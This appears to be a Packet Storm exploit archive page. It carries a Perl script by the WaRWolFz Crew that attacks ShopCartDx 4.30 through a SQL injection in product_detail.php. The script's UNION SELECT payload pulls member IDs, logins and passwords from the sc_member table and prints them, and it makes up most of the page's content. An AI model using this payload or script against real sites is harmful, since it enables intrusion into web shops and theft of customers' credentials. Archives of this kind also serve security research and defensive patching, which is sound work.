what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ShopCartDx 4.30 SQL Injection

ShopCartDx 4.30 SQL Injection
Posted Jul 3, 2009
Authored by Dante90 | Site warwolfz.org

Remote SQL injection exploit for ShopCartDx version 4.30 that leverages product_detail.php. This particular vulnerability was priorly discovered but further research has been performed.

tags | exploit, remote, php, sql injection
SHA-256 | 989a8c6e4cc6c89e5f8e5515f0712830144ab10f9f39642aedc758586c2cfe55

ShopCartDx 4.30 SQL Injection

Change Mirror Download
#!/usr/bin/perl
#[0-Day] ShopCartDx <= v4.30 (product_detail.php) Remote SQL Injection
Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew

use LWP::UserAgent;
use HTTP::Cookies;
use strict;

my $Member_ID = shift or usage();

my $HostName = "http://www.victime_site.org/path/"; #Insert Victime Web Site
Link (Example: http://e-topbiz.com/trafficdemos/shopcartdx1/)
my $Referrer = "http://warwolfz.altervista.org/";

sub SQL_Injection{
my ($MID) = @_;
return "./product_detail.php?cid=9&pid=-1 UNION SELECT
1,2,CONCAT_WS(CHAR(32,58,32),mid,login,password),4,5,6,7,8,9,10,11,12,13,14,15,16
FROM sc_member WHERE mid=${MID}/*";
}

my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
agent => 'Mozilla/5.0',
max_redirect => 0,
cookie_jar => $Cookies,
) or die $!;

my $Get = $UserAgent->get($HostName.SQL_Injection($Member_ID));

if($Get->content =~ /([0-9]{1,5}) : ([a-zA-Z0-9-_.]{2,15}) :
([a-zA-Z0-9]{1,15})/i){
refresh($HostName, $1, $2, $3);
print " * Exploit Successed *\n";
print " ------------------------------------------------------\n\n";
system("pause");
}else{
refresh($HostName, "", "", "");
print " * Error extracting sensible data.\n";
print " * Exploit Failed *\n";
print " ------------------------------------------------------ \n\n";
}


sub usage{
system("cls");
{
print " \n [0-Day] ShopCartDx <= v4.30 (product_detail.php) Remote
SQL Injection Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [uid] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
exit;
}

sub refresh{
system("cls");
{
print " \n [0-Day] ShopCartDx <= v4.30 (product_detail.php) Remote
SQL Injection Exploit\n";
print " ------------------------------------------------------ \n";
print " * USAGE: *\n";
print " * cd [Local Disk]:\\[Directory Of Exploit]\\ *\n";
print " * perl name_exploit.pl [uid] *\n";
print " ------------------------------------------------------ \n";
print " * Powered By Dante90, WaRWolFz Crew *\n";
print " * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n";
print " ------------------------------------------------------ \n";
};
print " * Victime Site: " . $_[0] . "\n";
print " * Member ID: " . $_[1] . "\n";
print " * Login: " . $_[2] . "\n";
print " * Password: " . $_[3] . "\n";
}

#WaRWolFz Crew
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close